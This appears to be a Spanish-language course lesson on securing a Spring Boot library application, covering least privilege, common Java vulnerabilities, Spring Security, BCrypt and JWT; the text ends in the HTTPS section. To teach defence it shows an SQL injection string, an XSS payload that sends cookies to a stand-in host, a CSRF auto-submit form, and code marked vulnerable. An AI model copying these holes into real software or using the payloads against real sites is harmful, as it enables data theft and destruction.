BiblioTech está en producción. Y tiene dos agujeros del tamaño de un proyecto entero.

El primero: cualquiera puede hacer cualquier cosa. No hay autenticación, no hay autorización, las contraseñas no existen como concepto, la API está abierta a quien la encuentre y nadie ha comprobado si es vulnerable a las cosas que hacen que las aplicaciones acaben en las noticias.

El segundo: cuando algo falle, te enterarás por una llamada de teléfono. No hay métricas, no hay trazas, no hay alertas. Lo único que existe es texto en la salida estándar de un contenedor que se destruye en el siguiente despliegue.

Esta lección cierra los dos, y cierra el curso.

Se organiza en cuatro partes. Seguridad: qué ataca a una aplicación Java y cómo se defiende BiblioTech de cada cosa, con Spring Security aplicado de verdad. Observabilidad: los tres pilares, y cómo saber qué está pasando dentro de un sistema al que no puedes conectar un depurador. Evolución: cómo hacer que un sistema sobreviva a los años, a los cambios de API, a las actualizaciones y al crecimiento. Y el cierre del curso: el viaje completo de BiblioTech módulo a módulo, lo que sabes hacer ahora, lo que este curso no cubre, y por dónde seguir.

Contenido

  1. Mínimo privilegio y defensa en profundidad
  2. Las vulnerabilidades más comunes en una aplicación Java
  3. Dependencias vulnerables y SBOM
  4. Spring Security: la cadena de filtros
  5. Autenticación frente a autorización
  6. SecurityFilterChain: la configuración moderna
  7. Contraseñas: BCrypt y lo que nunca se hace
  8. Autorización con @PreAuthorize
  9. JWT para la API REST
  10. HTTPS, cabeceras de seguridad y límites
  11. Validación de toda entrada externa
  12. Advertencia sobre seguridad real
  13. Observabilidad: los tres pilares
  14. Actuator y Micrometer
  15. Métricas de negocio
  16. Prometheus y Grafana
  17. Las cuatro señales de oro
  18. Trazas distribuidas
  19. Registros en producción
  20. Alertas útiles frente a ruido
  21. El cuadro de mando de BiblioTech
  22. Versionado de la API y depreciación
  23. Deuda técnica y actualizaciones
  24. Documentación que sobrevive
  25. Cómo hacer crecer BiblioTech
  26. Cuándo NO trocear en microservicios
  27. Errores Comunes y Consejos
  28. Ejercicios
  29. Cierre del curso

Parte I: Seguridad

  1. Mínimo privilegio y defensa en profundidad

Dos principios sostienen todo lo demás.

Mínimo privilegio: cada componente debe tener exactamente los permisos que necesita, y ni uno más.

Componente Privilegio incorrecto Privilegio mínimo
Usuario de base de datos postgres (superusuario) SELECT/INSERT/UPDATE/DELETE sobre el esquema de la aplicación
Usuario del contenedor root UID 1001, sin capacidades
Token de la API de metadatos Lectura y escritura Solo lectura
Empleado en BiblioTech Administrador EMPLEADO, y BIBLIOTECARIO solo quien lo necesita
Token de CI Acceso total al repositorio contents: read, packages: write
-- El usuario de la aplicación NO debe poder borrar tablas
CREATE USER bibliotech_app WITH PASSWORD :'clave';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- Sin CREATE, sin DROP, sin ALTER: el esquema lo gobierna Flyway con OTRO usuario

CREATE USER bibliotech_migraciones WITH PASSWORD :'clave_migraciones';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migraciones;

Que las migraciones usen un usuario distinto del de la aplicación tiene una consecuencia concreta: una inyección SQL en la aplicación no puede borrar tablas, porque el usuario que la ejecuta no tiene permiso para ello.

Defensa en profundidad: varias capas independientes, de modo que fallar una no comprometa el sistema.

flowchart TD
    A["Atacante"] --> C1["1. WAF / limitación de tasa"]
    C1 --> C2["2. TLS y cabeceras de seguridad"]
    C2 --> C3["3. Autenticación (JWT)"]
    C3 --> C4["4. Autorización (roles y @PreAuthorize)"]
    C4 --> C5["5. Validación de entrada"]
    C5 --> C6["6. Consultas parametrizadas"]
    C6 --> C7["7. Permisos mínimos en la base de datos"]
    C7 --> D[("Datos")]

Siete capas. Un atacante que supere la validación de entrada todavía se encuentra con consultas parametrizadas; si superara eso, con un usuario de base de datos que no puede borrar nada. Ninguna capa es suficiente por sí sola, y esa es exactamente la idea.

  1. Las vulnerabilidades más comunes en una aplicación Java

# Vulnerabilidad Qué permite Prevención en BiblioTech
1 Inyección SQL Leer, modificar o borrar toda la base de datos JPA con parámetros; nunca concatenar (11-03)
2 XSS Ejecutar JavaScript en el navegador de otro usuario Escapado automático de Thymeleaf; CSP
3 CSRF Ejecutar acciones en nombre del usuario Token CSRF en formularios; irrelevante con JWT en cabecera
4 Control de acceso roto Ver o modificar datos de otros @PreAuthorize + comprobación de propiedad
5 Deserialización insegura Ejecución remota de código Nunca deserializar datos externos; sin tipado dinámico (07-05, 11-07)
6 Exposición de datos sensibles Filtrar contraseñas, tokens, datos personales DTOs; sin trazas al cliente; filtros en el log (06-07)
7 Dependencias vulnerables Lo que permita el CVE Análisis automático, actualizaciones, SBOM (11-01)
8 Configuración insegura Endpoints de administración abiertos, credenciales por defecto Actuator restringido; sin valores por defecto en producción
9 Fallos criptográficos Contraseñas descifradas, tráfico interceptado BCrypt; TLS obligatorio
10 Falta de registro y monitorización Un ataque pasa inadvertido durante meses Auditoría y alertas (parte II)

1. Inyección SQL. El ataque clásico y todavía el más rentable:

// VULNERABLE. Con texto = "'; DELETE FROM prestamo; --" la consulta se convierte en dos.
String jpql = "select m from Material m where m.titulo like '%" + texto + "%'";
em.createQuery(jpql, Material.class).getResultList();
// SEGURO: el parámetro NUNCA se interpreta como SQL. Es un valor, no código.
em.createQuery("select m from Material m where lower(m.titulo) like lower(:texto)", Material.class)
  .setParameter("texto", "%" + texto + "%")
  .getResultList();

Por qué funciona: el motor recibe la consulta y los parámetros por canales separados. La consulta se compila antes de conocer los valores, así que un valor no puede cambiar su estructura. Spring Data hace esto por defecto, y CriteriaBuilder (12-04) también.

El punto donde sigue siendo posible equivocarse, y merece vigilancia especial:

// PELIGRO: la ordenación NO se puede parametrizar
@Query(value = "select * from material order by " + "#{#orden}", nativeQuery = true)   // MAL
// SEGURO: lista blanca. Nunca texto del usuario en la estructura de la consulta.
private static final Set<String> ORDENES_PERMITIDOS = Set.of("titulo", "autor", "anio_publicacion");

public List<Material> ordenadosPor(String campo) {
    if (!ORDENES_PERMITIDOS.contains(campo)) {
        throw new ParametroInvalidoException("Orden no permitido: " + campo);
    }
    return em.createQuery("select m from Material m order by m." + campo, Material.class)
             .getResultList();
}

2. XSS (Cross-Site Scripting). Ocurre al servir HTML con datos que un usuario introdujo:

<!-- VULNERABLE: si el título es <script>fetch('http://malo/'+document.cookie)</script> -->
<td th:utext="${material.titulo}"></td>
<!-- SEGURO: th:text ESCAPA el HTML. Es el valor por defecto de Thymeleaf. -->
<td th:text="${material.titulo}"></td>

th:utext (unescaped) existe para casos legítimos y es exactamente el que abre la puerta. La regla es: th:utext solo con contenido que hayas generado tú, nunca con datos de usuario.

Para una API REST que devuelve JSON el riesgo es menor —Jackson escapa correctamente—, pero la defensa adicional es la Content Security Policy (sección 10).

3. CSRF (Cross-Site Request Forgery). Una página maliciosa que el usuario visita mientras tiene sesión abierta en BiblioTech:

<!-- En sitio-malicioso.com -->
<form action="https://bibliotech.nexussoftware.com/api/materiales/978-0000000001" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>

Si la autenticación va por cookie de sesión, el navegador la envía automáticamente y la petición se ejecuta. Protecciones:

Autenticación ¿Vulnerable a CSRF? Protección
Cookie de sesión Token CSRF + SameSite=Strict
JWT en cabecera Authorization No El navegador no la envía solo
JWT en cookie Token CSRF igualmente

Por eso Spring Security desactiva CSRF en APIs sin estado con JWT en cabecera: no es dejadez, es que el vector de ataque no existe.

4. Control de acceso roto. El más frecuente y el más subestimado:

// VULNERABLE: cualquier empleado autenticado ve los préstamos de cualquier otro
@GetMapping("/api/empleados/{id}/prestamos")
public List<PrestamoResponse> prestamosDe(@PathVariable Long id) {
    return gestor.prestamosDe(id).stream().map(PrestamoResponse::desde).toList();
}
// SEGURO: o eres tú, o eres bibliotecario
@GetMapping("/api/empleados/{id}/prestamos")
@PreAuthorize("#id == authentication.principal.id or hasRole('BIBLIOTECARIO')")
public List<PrestamoResponse> prestamosDe(@PathVariable Long id) { … }

El nombre técnico de esta vulnerabilidad es IDOR (referencia directa insegura a objetos), y la regla que la evita es simple de enunciar y fácil de olvidar: no basta con saber quién eres; hay que comprobar que ese recurso es tuyo.

5. Deserialización insegura. Retoma 07-05 y 11-07, y merece un aviso destacado porque no es un fallo de confidencialidad: es ejecución remota de código.

// EXTREMADAMENTE PELIGROSO: nunca con datos que no controlas.
ObjectInputStream ois = new ObjectInputStream(entradaDelUsuario);
Object objeto = ois.readObject();      // esto puede ejecutar código arbitrario

Un atacante construye un grafo de objetos que, al deserializarse, encadena llamadas de librerías presentes en el classpath (gadget chains) hasta llegar a Runtime.exec(). No hace falta que la clase atacada sea tuya.

// Y en Jackson, el equivalente:
mapper.enableDefaultTyping();                          // NUNCA con datos externos
mapper.activateDefaultTyping(validador, …);            // solo con lista blanca estricta

Reglas: no uses serialización Java para datos externos; usa JSON con clases concretas; si necesitas polimorfismo, @JsonTypeInfo con @JsonSubTypes explícitos reforzados por sealed; y si heredas código que deserializa, aplica un ObjectInputFilter (Java 9+).

6. Exposición de datos sensibles. Tres vectores, los tres presentes en BiblioTech antes de esta lección:

// (a) En la respuesta: entidad expuesta con el hash de la contraseña
@GetMapping("/api/empleados/{id}")
public Empleado porId(@PathVariable Long id) { … }     // MAL: DTO, siempre (12-01)

// (b) En el log: datos personales y credenciales
log.info("Autenticando a {} con contraseña {}", correo, contrasena);   // MAL, y muy común
log.debug("Petición recibida: {}", peticion);                          // ¿qué lleva dentro?

// (c) En el error: traza que revela versiones y estructura interna
server.error.include-stacktrace: always                                 // MAL (12-04)

La defensa en el log, con un filtro que enmascara:

public class EnmascaradorDatosSensibles extends ClassicConverter {

    private static final List<Pattern> PATRONES = List.of(
        Pattern.compile("(\"(?:password|contrasena|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
                        Pattern.CASE_INSENSITIVE),
        Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\b(\\d{8})([A-Za-z])\\b")     // DNI
    );

    @Override
    public String convert(ILoggingEvent evento) {
        String mensaje = evento.getFormattedMessage();
        for (Pattern p : PATRONES) {
            mensaje = p.matcher(mensaje).replaceAll("$1***$3");
        }
        return mensaje;
    }
}

  1. Dependencias vulnerables y SBOM

Retoma 11-01 y Log4Shell. Tu código puede ser impecable y aun así ser vulnerable, porque el 90 % de lo que se ejecuta en producción lo escribió otra persona.

Análisis automático:

<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>dependency-check-maven</artifactId>
  <version>10.0.4</version>
  <configuration>
    <failBuildOnCVSS>7</failBuildOnCVSS>      <!-- CVSS 7+ = alta o crítica -->
    <suppressionFiles>
      <suppressionFile>config/supresiones-cve.xml</suppressionFile>
    </suppressionFiles>
  </configuration>
  <executions>
    <execution><goals><goal>check</goal></goals></execution>
  </executions>
</plugin>
./mvnw org.owasp:dependency-check-maven:check
open target/dependency-check-report.html

Dependabot, que abre PRs automáticamente:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: maven
    directory: "/"
    schedule: { interval: weekly, day: monday }
    open-pull-requests-limit: 10
    groups:
      spring:
        patterns: ["org.springframework*"]     # agrupar: menos ruido
      pruebas:
        patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]   # las mayores, a mano

SBOM (Software Bill of Materials): el inventario completo de todo lo que contiene el artefacto. Cuando aparezca el próximo Log4Shell, la pregunta «¿estamos afectados?» se responde con una consulta al SBOM en lugar de con dos días de arqueología.

<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <version>2.8.1</version>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>
./mvnw package        # genera target/bom.json y target/bom.xml
grep -i "log4j" target/bom.json      # respuesta en un segundo

  1. Spring Security: la cadena de filtros

Spring Security es, esencialmente, una cadena de filtros de servlet que se ejecuta antes de que la petición llegue al DispatcherServlet (12-04). Es el patrón Cadena de responsabilidad de 12-02 en su forma más pura.

flowchart TD
    P["Petición HTTP"] --> F1["SecurityContextPersistenceFilter<br/>recupera el contexto"]
    F1 --> F2["CorsFilter"]
    F2 --> F3["CsrfFilter"]
    F3 --> F4["FiltroJwt (nuestro)<br/>valida el token y autentica"]
    F4 --> F5["AnonymousAuthenticationFilter"]
    F5 --> F6["ExceptionTranslationFilter<br/>convierte excepciones en 401/403"]
    F6 --> F7["AuthorizationFilter<br/>¿tiene permiso?"]
    F7 --> D["DispatcherServlet"]
    D --> C["Controlador"]

    F7 -.->|"sin permiso"| E["403 Forbidden"]
    F4 -.->|"token inválido"| E401["401 Unauthorized"]

    style F4 fill:#e3f2fd,stroke:#1565c0

Cada filtro hace una cosa y pasa el control al siguiente. La consecuencia práctica: añadir autenticación propia es insertar un filtro en el punto correcto, no reescribir nada.

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Con solo esa dependencia, toda la aplicación queda protegida con autenticación básica y una contraseña generada que aparece en el log. Es un valor por defecto deliberadamente seguro: si no configuras nada, no queda abierto.

  1. Autenticación frente a autorización

Autenticación Autorización
Pregunta ¿Quién eres? ¿Qué puedes hacer?
Cuándo Una vez, al entrar En cada operación
Fallo 401 Unauthorized 403 Forbidden
En BiblioTech Correo y contraseña → JWT Roles y comprobación de propiedad

Los conceptos de Spring Security:

Concepto Qué es En BiblioTech
Authentication Quién está autenticado y con qué permisos El empleado y sus roles
Principal La identidad UsuarioBiblioTech (nuestro UserDetails)
GrantedAuthority Un permiso ROLE_EMPLEADO, ROLE_BIBLIOTECARIO
SecurityContext Contenedor de la autenticación actual En un ThreadLocal
UserDetailsService Carga el usuario por su identificador Consulta la tabla empleado
PasswordEncoder Codifica y verifica contraseñas BCrypt

Roles de BiblioTech:

Rol Puede
EMPLEADO Ver el catálogo, crear sus préstamos y reservas, ver sus multas
BIBLIOTECARIO Todo lo anterior + gestionar el catálogo, ver los préstamos de todos, condonar multas
ADMIN Todo lo anterior + gestionar empleados, ver endpoints de administración

  1. SecurityFilterChain: la configuración moderna

La forma antigua (WebSecurityConfigurerAdapter) está eliminada desde Spring Security 6. La actual es declarativa, con beans y lambdas:

@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // habilita @PreAuthorize
public class ConfiguracionSeguridad {

    private final FiltroAutenticacionJwt filtroJwt;
    private final ManejadorErroresSeguridad manejadorErrores;

    @Bean
    SecurityFilterChain cadenaFiltros(HttpSecurity http) throws Exception {
        return http
            // API sin estado: no hay sesión de servidor, luego no hay CSRF por cookie
            .csrf(AbstractHttpConfigurer::disable)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            .cors(cors -> cors.configurationSource(fuenteCors()))

            .authorizeHttpRequests(rutas -> rutas
                // --- Público ---
                .requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refrescar").permitAll()
                .requestMatchers("/actuator/health/**").permitAll()

                // --- Solo lectura del catálogo: cualquier empleado autenticado ---
                .requestMatchers(HttpMethod.GET, "/api/materiales/**").hasAnyRole("EMPLEADO", "BIBLIOTECARIO", "ADMIN")

                // --- Gestión del catálogo: bibliotecarios ---
                .requestMatchers(HttpMethod.POST,   "/api/materiales/**").hasRole("BIBLIOTECARIO")
                .requestMatchers(HttpMethod.PUT,    "/api/materiales/**").hasRole("BIBLIOTECARIO")
                .requestMatchers(HttpMethod.PATCH,  "/api/materiales/**").hasRole("BIBLIOTECARIO")
                .requestMatchers(HttpMethod.DELETE, "/api/materiales/**").hasRole("BIBLIOTECARIO")

                // --- Administración ---
                .requestMatchers("/api/empleados/**").hasRole("ADMIN")
                .requestMatchers("/actuator/**").hasRole("ADMIN")

                // --- Documentación: solo fuera de producción (ver perfil) ---
                .requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")

                // --- Regla final: TODO lo demás requiere autenticación ---
                // denyAll implícito por defecto: lo que no se declara, no pasa
                .anyRequest().authenticated())

            .exceptionHandling(e -> e
                .authenticationEntryPoint(manejadorErrores)     // 401 en formato Problem Details
                .accessDeniedHandler(manejadorErrores))         // 403 ídem

            // Nuestro filtro ANTES del de usuario y contraseña
            .addFilterBefore(filtroJwt, UsernamePasswordAuthenticationFilter.class)

            .headers(h -> h
                .frameOptions(FrameOptionsConfig::deny)
                .contentSecurityPolicy(csp -> csp.policyDirectives(
                    "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31_536_000)))

            .build();
    }

    @Bean
    PasswordEncoder codificadorContrasenas() {
        // Fuerza 12: ~250 ms por verificación en hardware de 2026.
        // Suficientemente lento para un atacante, tolerable para un usuario.
        return new BCryptPasswordEncoder(12);
    }

    @Bean
    AuthenticationManager gestorAutenticacion(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

Dos detalles que marcan la diferencia:

  • El orden de las reglas importa. Se evalúan de arriba abajo y gana la primera que encaja. Poner .anyRequest().authenticated() al principio anularía todo lo demás.
  • .anyRequest().authenticated() al final es la red de seguridad: un endpoint nuevo queda protegido por defecto. Sin esa línea, cualquier ruta no contemplada quedaría abierta.

  1. Contraseñas: BCrypt y lo que nunca se hace

Regla absoluta: las contraseñas NUNCA se guardan de forma que se puedan recuperar. Ni en claro, ni cifradas de forma reversible, ni con MD5, ni con SHA-1, ni con SHA-256 a secas. Se guarda un hash lento con sal, y el sistema nunca conoce la contraseña original.

Por qué no valen los hashes rápidos:

Algoritmo Hashes por segundo (GPU, 2026) Tiempo para 8 caracteres alfanuméricos
MD5 ~200.000 millones segundos
SHA-1 ~80.000 millones segundos
SHA-256 ~20.000 millones minutos
BCrypt (fuerza 12) ~4.000 siglos

SHA-256 es un algoritmo excelente… para lo que está diseñado, que es integridad de datos. Para contraseñas, su virtud —la velocidad— es exactamente el defecto. BCrypt está diseñado para ser deliberadamente lento y para que su lentitud sea ajustable a medida que el hardware mejora.

@Service
public class ServicioAutenticacion {

    private final RepositorioEmpleados empleados;
    private final PasswordEncoder codificador;

    /** Registro: la contraseña se codifica y la original se descarta de inmediato. */
    @Transactional
    public Empleado registrar(String nombre, String correo, char[] contrasena) {
        validarFortaleza(contrasena);
        try {
            String hash = codificador.encode(new String(contrasena));
            return empleados.guardar(Empleado.nuevo(nombre, correo, hash));
        } finally {
            Arrays.fill(contrasena, '\0');   // sobrescribir en memoria (12-03)
        }
    }

    public Optional<Empleado> autenticar(String correo, String contrasena) {
        Optional<Empleado> empleado = empleados.buscarPorCorreo(correo);

        if (empleado.isEmpty()) {
            // Comparar contra un hash ficticio para que el tiempo de respuesta
            // sea el mismo exista o no el usuario. Sin esto, un atacante puede
            // ENUMERAR usuarios midiendo la latencia.
            codificador.matches(contrasena, HASH_FICTICIO);
            return Optional.empty();
        }
        if (!codificador.matches(contrasena, empleado.get().getHashContrasena())) {
            return Optional.empty();
        }
        return empleado;
    }
}

Un hash de BCrypt tiene esta forma, y contiene todo lo necesario para verificarlo:

$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 │   │  └────────────────────┬──────────────────────────────┘
 │   │                       └─ sal (22) + hash (31), en base64
 │   └───────────────────────── coste: 2^12 = 4.096 iteraciones
 └───────────────────────────── versión del algoritmo

La sal es distinta para cada contraseña, lo que hace inútiles las tablas precalculadas y significa que dos usuarios con la misma contraseña tienen hashes diferentes.

Validación de fortaleza, con criterio moderno (NIST SP 800-63B):

private void validarFortaleza(char[] contrasena) {
    // La longitud importa MÁS que la complejidad: "caballo batería grapa correcta"
    // es más fuerte que "P@ssw0rd" y mucho más fácil de recordar.
    if (contrasena.length < 12) {
        throw new ContrasenaDebilException("Mínimo 12 caracteres");
    }
    if (contrasena.length > 128) {
        throw new ContrasenaDebilException("Máximo 128 caracteres");   // evitar DoS con BCrypt
    }
    if (esComun(new String(contrasena))) {
        throw new ContrasenaDebilException("Esta contraseña aparece en filtraciones conocidas");
    }
}

Alternativas a BCrypt, en orden de preferencia actual: Argon2id (ganador del Password Hashing Competition, resistente a ataques con GPU y ASIC), scrypt y BCrypt. Los tres son aceptables; BCrypt es el más disponible y probado en el ecosistema Java.

  1. Autorización con @PreAuthorize

La configuración por URL es un primer filtro; la autorización fina va en los servicios, porque el mismo caso de uso lo invocan la API, la CLI y las tareas programadas.

@Service
public class GestorPrestamos implements GestionarPrestamos {

    @Override
    @Transactional
    @PreAuthorize("hasRole('EMPLEADO')")
    public Prestamo prestar(Isbn isbn, Long idEmpleado, Integer dias) { … }

    /** O es tu propio préstamo, o eres bibliotecario. */
    @Override
    @Transactional
    @PreAuthorize("@propiedad.esSuPrestamo(#idPrestamo) or hasRole('BIBLIOTECARIO')")
    public ResultadoDevolucion devolver(Long idPrestamo, LocalDate fecha) { … }

    /** Condonar una multa es una decisión con impacto económico. */
    @Override
    @Transactional
    @PreAuthorize("hasRole('BIBLIOTECARIO')")
    @Auditado(accion = "CONDONAR_MULTA")
    public void condonarMulta(Long idPrestamo, String motivo) { … }

    /** Filtrar el resultado: cada uno ve lo suyo. */
    @Override
    @PostFilter("filterObject.idEmpleado == authentication.principal.id or hasRole('BIBLIOTECARIO')")
    public List<Prestamo> todosLosActivos() { … }
}

El bean de comprobación de propiedad, que es el que cierra el agujero de IDOR:

@Component("propiedad")
public class ComprobadorPropiedad {

    private final RepositorioPrestamos prestamos;

    public boolean esSuPrestamo(Long idPrestamo) {
        Long idUsuario = usuarioActual().getId();
        return prestamos.buscarPorId(idPrestamo)
                .map(p -> p.getIdEmpleado().equals(idUsuario))
                .orElse(false);
    }

    private UsuarioBiblioTech usuarioActual() {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth == null || !(auth.getPrincipal() instanceof UsuarioBiblioTech usuario)) {
            throw new AccessDeniedException("Sin usuario autenticado");
        }
        return usuario;
    }
}

Y una advertencia técnica que conecta con 12-02: @PreAuthorize funciona por proxy, exactamente igual que @Transactional. Por tanto, no se aplica en autoinvocaciones (this.metodo()) ni en métodos privados o final. Es el mismo mecanismo y las mismas limitaciones.

Auditoría de las acciones sensibles, con un aspecto (11-02):

@Aspect
@Component
public class AspectoAuditoria {

    private static final Logger auditoria = LoggerFactory.getLogger("AUDITORIA");

    @AfterReturning("@annotation(auditado)")
    public void registrar(JoinPoint punto, Auditado auditado) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        auditoria.info("accion={} usuario={} argumentos={} traceId={}",
                auditado.accion(),
                auth != null ? auth.getName() : "anonimo",
                Arrays.toString(punto.getArgs()),
                MDC.get("traceId"));
    }
}

El registro de auditoría es distinto del registro de aplicación: se conserva más tiempo, no se puede desactivar, y es lo que responde a «¿quién condonó esta multa de 200 €?».

  1. JWT para la API REST

Un JWT (JSON Web Token) es una cadena firmada que contiene afirmaciones sobre el usuario. Su ventaja: el servidor no guarda estado de sesión, lo que permite el escalado horizontal de 12-06.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn
└──────── cabecera ────────┘ └──────── carga útil ────────┘ └──── firma ────┘
// Cabecera                          // Carga útil
{ "alg": "HS256", "typ": "JWT" }     { "sub": "1",
                                       "correo": "[email protected]",
                                       "roles": ["EMPLEADO", "BIBLIOTECARIO"],
                                       "iat": 1785000000,
                                       "exp": 1785003600 }

Aviso fundamental: la carga útil NO está cifrada, solo firmada. Cualquiera puede decodificarla en base64 y leerla. La firma garantiza que no ha sido modificada, no que sea secreta. Nunca pongas en un JWT nada que no quieras que se lea.

El flujo completo:

sequenceDiagram
    autonumber
    participant C as Cliente
    participant A as AuthController
    participant S as ServicioAutenticacion
    participant J as ServicioJwt
    participant F as FiltroJwt
    participant R as PrestamoController

    C->>A: POST /api/auth/login {correo, contrasena}
    A->>S: autenticar(correo, contrasena)
    S->>S: BCrypt.matches(contrasena, hash)
    S-->>A: Empleado
    A->>J: generarAcceso(empleado) y generarRefresco(empleado)
    J-->>A: token de acceso (15 min) + token de refresco (7 dias)
    A-->>C: 200 {tokenAcceso, tokenRefresco, expiraEn}

    Note over C: guarda los tokens

    C->>F: GET /api/prestamos + Authorization Bearer token
    F->>J: validar(token)
    J-->>F: afirmaciones (sub, roles)
    F->>F: SecurityContext con la autenticacion
    F->>R: continua la cadena
    R-->>C: 200 con los prestamos

    Note over C,F: cuando el token de acceso caduca

    C->>A: POST /api/auth/refrescar {tokenRefresco}
    A->>J: validar y comprobar que no esta revocado
    A-->>C: 200 con un token de acceso nuevo
@Service
public class ServicioJwt {

    private final SecretKey clave;
    private final Duration vigenciaAcceso;
    private final Duration vigenciaRefresco;
    private final Clock reloj;                    // 10-05: inyectable, para poder probarlo

    public ServicioJwt(PropiedadesJwt props, Clock reloj) {
        // La clave viene de una variable de entorno y debe tener al menos 256 bits.
        // Si es corta o está en el código, la firma es falsificable.
        byte[] bytes = Decoders.BASE64.decode(props.secreto());
        if (bytes.length < 32) {
            throw new IllegalStateException("La clave JWT debe tener al menos 256 bits");
        }
        this.clave = Keys.hmacShaKeyFor(bytes);
        this.vigenciaAcceso = props.vigenciaAcceso();
        this.vigenciaRefresco = props.vigenciaRefresco();
        this.reloj = reloj;
    }

    public String generarAcceso(UsuarioBiblioTech usuario) {
        Instant ahora = Instant.now(reloj);
        return Jwts.builder()
                .subject(String.valueOf(usuario.getId()))
                .claim("correo", usuario.getUsername())
                .claim("roles", usuario.getAuthorities().stream()
                        .map(GrantedAuthority::getAuthority).toList())
                .issuer("bibliotech.nexussoftware.com")
                .issuedAt(Date.from(ahora))
                .expiration(Date.from(ahora.plus(vigenciaAcceso)))
                .id(UUID.randomUUID().toString())      // jti: permite revocar este token concreto
                .signWith(clave, Jwts.SIG.HS256)
                .compact();
    }

    public Claims validar(String token) {
        try {
            return Jwts.parser()
                    .verifyWith(clave)
                    .requireIssuer("bibliotech.nexussoftware.com")
                    .clockSkewSeconds(30)              // tolerancia de reloj entre servidores
                    .build()
                    .parseSignedClaims(token)
                    .getPayload();
        } catch (ExpiredJwtException e) {
            throw new TokenCaducadoException(e);        // el cliente debe refrescar
        } catch (JwtException | IllegalArgumentException e) {
            throw new TokenInvalidoException(e);        // firma incorrecta o token manipulado
        }
    }
}
@Component
public class FiltroAutenticacionJwt extends OncePerRequestFilter {

    private final ServicioJwt jwt;
    private final RegistroTokensRevocados revocados;

    @Override
    protected void doFilterInternal(HttpServletRequest peticion, HttpServletResponse respuesta,
                                    FilterChain cadena) throws ServletException, IOException {
        try {
            extraerToken(peticion).ifPresent(token -> {
                Claims afirmaciones = jwt.validar(token);

                if (revocados.estaRevocado(afirmaciones.getId())) {
                    throw new TokenRevocadoException();
                }

                var autoridades = ((List<?>) afirmaciones.get("roles")).stream()
                        .map(String::valueOf)
                        .map(SimpleGrantedAuthority::new)
                        .toList();

                var autenticacion = new UsernamePasswordAuthenticationToken(
                        new UsuarioBiblioTech(Long.valueOf(afirmaciones.getSubject()),
                                              afirmaciones.get("correo", String.class), autoridades),
                        null, autoridades);

                SecurityContextHolder.getContext().setAuthentication(autenticacion);

                // Correlación: el identificador de usuario en el MDC de 11-07
                MDC.put("usuarioId", afirmaciones.getSubject());
            });

            cadena.doFilter(peticion, respuesta);

        } catch (TokenCaducadoException | TokenInvalidoException | TokenRevocadoException e) {
            SecurityContextHolder.clearContext();
            escribirProblema(respuesta, HttpStatus.UNAUTHORIZED, e.getMessage());
        } finally {
            MDC.remove("usuarioId");     // regla de 11-07: limpiar SIEMPRE en un pool de hilos
        }
    }

    private Optional<String> extraerToken(HttpServletRequest peticion) {
        String cabecera = peticion.getHeader(HttpHeaders.AUTHORIZATION);
        return (cabecera != null && cabecera.startsWith("Bearer "))
                ? Optional.of(cabecera.substring(7))
                : Optional.empty();
    }
}

Los riesgos del JWT, sin adornos:

Riesgo Por qué Mitigación
No se puede revocar Es válido hasta que caduca; el servidor no lo consulta Vigencia corta (15 min) + lista de revocados por jti
Carga útil legible Solo está firmado Nada sensible dentro
Robo del token Quien lo tenga, es tú HTTPS obligatorio; vigencia corta
Ataque alg: none Un token sin firma, aceptado por parseadores mal usados Exigir el algoritmo explícitamente al validar
Clave débil HS256 con una clave corta es fuerza-brutable Mínimo 256 bits, desde variable de entorno
Almacenamiento en el cliente localStorage es accesible desde XSS Cookie HttpOnly + Secure + SameSite

Dónde guardar el token en el navegador, que es la decisión más discutida:

Ubicación XSS CSRF Veredicto
localStorage Vulnerable Inmune Cómodo, peor
sessionStorage Vulnerable Inmune Igual, pero se pierde al cerrar
Cookie HttpOnly+Secure+SameSite=Strict Inmune Protegida por SameSite Preferible

La razón: una cookie HttpOnly no es accesible desde JavaScript, así que un XSS no puede robarla. Con localStorage, un solo XSS en cualquier página de tu dominio entrega el token completo.

Y el token de refresco, que sí es revocable porque se guarda en la base de datos:

@Entity
public class TokenRefresco {
    @Id private String id;                    // jti
    private Long idEmpleado;
    private String hashToken;                 // el token también se guarda con hash
    private Instant caducaEn;
    private Instant revocadoEn;
    private String dispositivo;               // para poder mostrar "sesiones activas"
}

  1. HTTPS, cabeceras de seguridad y límites

HTTPS es obligatorio, sin excepciones. Sin TLS, credenciales y tokens viajan en claro por cualquier red intermedia.

server:
  ssl:
    enabled: true
    key-store: ${TLS_KEYSTORE_PATH}
